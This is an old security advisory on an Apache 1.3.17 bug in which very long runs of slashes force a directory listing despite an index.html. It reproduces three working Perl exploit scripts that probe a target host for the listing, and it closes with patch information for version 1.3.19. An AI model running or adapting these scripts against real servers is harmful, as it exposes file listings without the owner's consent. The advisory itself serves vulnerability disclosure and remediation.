|
Vulnerability Apache Affected Apache 1.3.17 and below Description Matt Watchinski found following. This exploit tricks apache into returning a Index of the a directory even if an index.html file is present. May not work on some OS's http_request.c has a subroutine called ap_sub_req_lookup_file that in very specific cases would feed stat() a filename that was longer than stat() could handle. This would result in a condition where stat() would return 0 and a directory index would be returned instead of the default index.html. Code Fragment: /src/main/http_request.c if (strchr(new_file, '/') == NULL) { char *udir = ap_make_dirstr_parent(rnew->pool, r->uri); rnew->uri = ap_make_full_path(rnew->pool, udir, new_file); rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file); ap_parse_uri(rnew, rnew->uri); /* fill in parsed_uri values */ if (stat(rnew->filename, &rnew->finfo) < 0) { <-- Important part rnew->finfo.st_mode = 0; } Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled. The directory must also have the following Options enabled: Indexes and MultiView. Some OS's have different conditions on the number of character you have to pass to stat to make this work. If stat doesn't return 0 for path names less than 8192 or so internal apache buffer checks will stop this exploit from working. Debian needed around 4060 /'s to make this work. The exploit: #!/usr/bin/perl # # farm9, Inc. (copyright 2001) # # Name: Apache Artificially Long Slash Path Directory Listing Exploit # Author: Matt Watchinski # Ref: SecurityFocus BID 2503 # # Affects: Apache 1.3.17 and below # Tested on: Apache 1.3.12 running on Debian 2.2 # # # Greets: Special thanks to natasha who added a lot of debug to apache for me # while i was trying to figure out what had to be enabled to make this # exploit work. Also thanks to rfp for pointing out that MultiView # needed to be enabled. # # More Greets: Jeff for not shooting me :) <All your Cisco's belong to us> # Anne for being so sexy <I never though corporate espionage # would be so fun> # All my homies at farm9 # DJ Charles / DJ NoloN for the phat beats # Marty (go go gadget snort) # All my ex-bees # RnVjazpIaXZlcndvcmxk # # I think that wraps it up. Have fun. # # Usage: ./apacheIndex.pl <host> <port> <HI> <Low> # Where: Hi and low are the range for the number of / to try # use IO::Socket; $low = $ARGV[3]; #Low number of slash characters to try $hi = $ARGV[2]; #High number of slash characters to try $port = $ARGV[1]; #Port to try to connect to $host = $ARGV[0]; #Host to try to connect to # Main loop. Not much to this exploit once you figure out what needed to # be enabled. Need to do some more testing on sub-dirs to see if it # works with them. It should. Also different OS's might use a differnt number # of /. Send me the numbers if you don't mind matt@farm9.com while($low <= $hi) { $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "TCP") or die "Connect Failed"; $url = ""; $buffer = ""; $end = ""; $url = "GET "; $buffer = "/" x $low . " HTTP/1.0\r\n"; $end = "\r\n\r\n"; $url = $url . $buffer . $end; print $socket "$url"; while(<$socket>) { if($_ =~ "Index of") { print "Found the magic number: $low\n"; print "Now go do it by hand to to see it all\n"; close($socket); exit; } } close($socket); $low++ } In some testings you need to take the Host header into account. : $url = "GET "; : $buffer = "/" x $low . " HTTP/1.0\r\n"; : $end = "\r\n\r\n"; The server tested against uses mod_rewrite to do virtual hosting, and it arrived at a different magic number with the host header, and against without the header. In that case make the following change to the above code: $buffer = "/" x $low . " HTTP/1.0\r\nHost: ". $host ."\r\n"; Should be fairly easy to understand. Siberian rewrote a lot of it's code. Now it will also work if executed from a Windows box. #!/usr/bin/perl # # orginal by farm9, Inc. (copyright 2001) # new modified code by Siberian (www.sentry-labs.com) # ######################################################################################## # # Note: This isn't the orginal exploit! This one was modified and partly rewritten. # # Changes: # # - help added (more user firendly :-) ) # - messages added # - exploit is now able to be executed on WinNT or 2k. # - uses perl version of BSD sockets (compatible to Windows) # # Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some # of the code and made it esaier to use and cross platform compatible. # The old verion used a esaier but not that compaible way of socket stream communication. # Any network code was replaced by cross platform compatible BSD sockets. # (much better than any other stream method :-) ) # # Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32) # use Socket; print "Apache Artificially Long Slash Path Directory Listing Exploit\nSecurityFocus BID 2503\n\n"; print "original exploit code written by Matt Watchinski (www.farm9.com)\n"; print "rewritten and fixed by Siberian (www.sentry-labs.com)\n\n"; $host = shift || 'localhost'; #Host to try to connect to $port = shift || '80'; #Port to try to connect to $hi = shift || '100'; #High number of slash characters to try $low = shift || '0'; #Low number of slash characters to try if(($host eq 'localhost') && ($port eq '80') && ($hi eq '100') && ($low eq '0')) { print 'Usage: ./apache2.pl <host> <port> <HI> <Low>'; print "\nHi and low are the range for the number of \/ to try\n"; exit 0; } print "\ntarget: $host"; print "\nport: $port"; print "\nhi: $hi"; print "\nlow: $low\n\nStarting attack...\n\n"; # Main loop. Not much to this exploit once you figure out what needed to # be enabled. Need to do some more testing on sub-dirs to see if it # works with them. It should. Also different OS's might use a different number # of /. Send me the numbers if you don't mind matt@farm9.com $url = ""; $buffer = ""; $end = ""; #$port = (getservbyname($port, 'tcp') || die "No port!"); $iaddr = inet_aton($host); $paddr = sockaddr_in($port, $iaddr) or die "Faild ... SOCKADDR_IN!"; $proto = getprotobyname('tcp'); while($low <= $hi) { socket(SOCKY, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; connect(SOCKY, $paddr ) or die "connect: $!";; $url = "GET "; $buffer = "/" x $low . " HTTP/1.0\r\n"; $end = "\r\n\r\n"; $url = $url . $buffer . $end; print "."; send(SOCKY,$url,0) or die "send: $!";; while((recv(SOCKY,$out,1,0)) && ($out ne "")) { if($out eq "I") { recv(SOCKY,$out,1,0); if($out eq "n") { recv(SOCKY,$out,1,0); if($out eq "d") { recv(SOCKY,$out,1,0); if($out eq "e") { recv(SOCKY,$out,1,0); if($out eq "x") { recv(SOCKY,$out,1,0); if($out eq " ") { recv(SOCKY,$out,1,0); if($out eq "o") { recv(SOCKY,$out,1,0); if($out eq "f") { print "Found the magic number: $low\n"; print "Now go do it by hand to to see it all\n"; close(SOCKY); exit 0; } } } } } } } } } close(SOCKY); $low++; } print "\n\nNot vulnerable :-(\nCheck some other numbers.\n"; 'rain forest puppy' added following. Attached is apache3.pl, which is a recoded version of Siberian's recode of Matt Watchinski's exploit. His version uses libwhisker, which allows the exploit to have HTTP/1.1, proxy, and SSL support automatically. Basic support (not including SSL) should work for any platform having Perl. To use the attached exploit, you'll need a copy of libwhisker. The latest is pr3, downloadable at: http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface=7 You can either grab the developer tarball and build/install it, or just grab the libwhisker.pm, put it in the same directory as the apache3.pl, and just run apache3.pl--perl will use the libwhisker.pm module in the same directory. For SSL support, you'll need either Crypt::SSLeay or Net::SSLeay installed (which may require OpenSSL). ActiveState ported Crypt::SSLeay/Net::SSL (not Net::SSLeay) over to Windows, so Windows users should have SSL support as well. #!/usr/bin/perl # # orginal by farm9, Inc. (copyright 2001) # then modified by Siberian (www.sentry-labs.com) # with more modifications by rfp (www.wiretrip.net/rfp/) # ########################################################################## use libwhisker; use Getopt::Std; # apache3.pl # this exploit was modified to use the libwhisker library, which gives # HTTP/1.1, proxy, and SSL support. Plus, small other changes. $|++; my (%hin,%hout,%args); print "Apache Artificially Long Slash Path Directory Listing Exploit\n"; print "SecurityFocus BID 2503\n\n"; print "Original exploit code written by Matt Watchinski (www.farm9.com)\n"; print "Rewritten and fixed by Siberian (www.sentry-labs.com)\n"; print "Moved to libwhisker by rfp\n\n"; getopts("p:L:H:sP:R:h:",\%args); if($args{h} eq ''){ print 'Usage: ./apache3.pl <options>, where options:',"\n"; print '-h host host to scan (must be specified)',"\n"; print '-p ## host port (default: 80)',"\n"; print '-L ## low end/start of range (default: 1)',"\n"; print '-H ## high end/end of range (default: 8192)',"\n"; print '-P host HTTP proxy via host',"\n"; print '-R ## HTTP proxy port (default: 80)',"\n"; print '-s use SSL (can\'t be used with proxy)',"\n"; exit 0; } $low = $args{L} || 1; $high = $args{H} || 8192; &lw::http_init_request(\%hin); # setup our request hash $hin{'whisker'}->{'host'}= $args{h}; $hin{'whisker'}->{'port'}= $args{p} || 80; if(defined $args{s}){ $hin{'whisker'}->{'ssl'} = 1; if(defined $args{P}){ print "SSL not currently compatible with proxy\n"; exit 1; } } if(defined $args{'P'}){ $hin{'whisker'}->{'proxy_host'}=$args{P}; $hin{'whisker'}->{'proxy_port'}=$args{R} || 80; print "Using proxy host $hin{'whisker'}->{'proxy_host'} on "; print "port $hin{'whisker'}->{'proxy_port'}\n"; } &lw::http_fixup_request(\%hin); # fix any HTTP requirements for($c=$low; $c<=$high; $c++){ $hin{'whisker'}->{'uri'} = '/' x $c; if(&lw::http_do_request(\%hin,\%hout)){ print "Error: $hout{'whisker'}->{'error'}\n"; exit 1; } else { if($hout{'whisker'}->{'http_resp'} == 200 && $hout{'whisker'}->{'data'}=~/index of/i){ print "Found result using $c slashes.\n"; exit 0; } } print "."; # for status } print "\nNot vulnerable (perhaps try a different range).\n"; Solution 1.3.19 has fixed this. For Trustix Linux: http://www.trustix.net/pub/Trustix/updates/ ftp://ftp.trustix.net/pub/Trustix/updates/ ./1.2/SRPMS/apache-ssl-1.3.19_1.44-1tr.src.rpm ./1.2/SRPMS/apache-1.3.19-1tr.src.rpm ./1.2/RPMS/apache-ssl-1.3.19_1.44-1tr.i586.rpm ./1.2/RPMS/apache-devel-1.3.19-1tr.i586.rpm ./1.2/RPMS/apache-1.3.19-1tr.i586.rpm ./1.1/SRPMS/apache-ssl-1.3.19_1.44-1tr.src.rpm ./1.1/SRPMS/apache-1.3.19-1tr.src.rpm ./1.1/RPMS/apache-ssl-1.3.19_1.44-1tr.i586.rpm ./1.1/RPMS/apache-devel-1.3.19-1tr.i586.rpm ./1.1/RPMS/apache-1.3.19-1tr.i586.rpm For EnGarde Secure Linux: ftp://ftp.engardelinux.org/pub/engarde/stable/updates/ http://ftp.engardelinux.org/pub/engarde/stable/updates/ http://ftp.ibiblio.org/pub/linux/distributions/engarde/stable/updates/ SRPMS/apache-1.3.20-1.0.25.src.rpm i386/apache-1.3.20-1.0.25.i386.rpm i686/apache-1.3.20-1.0.25.i686.rpm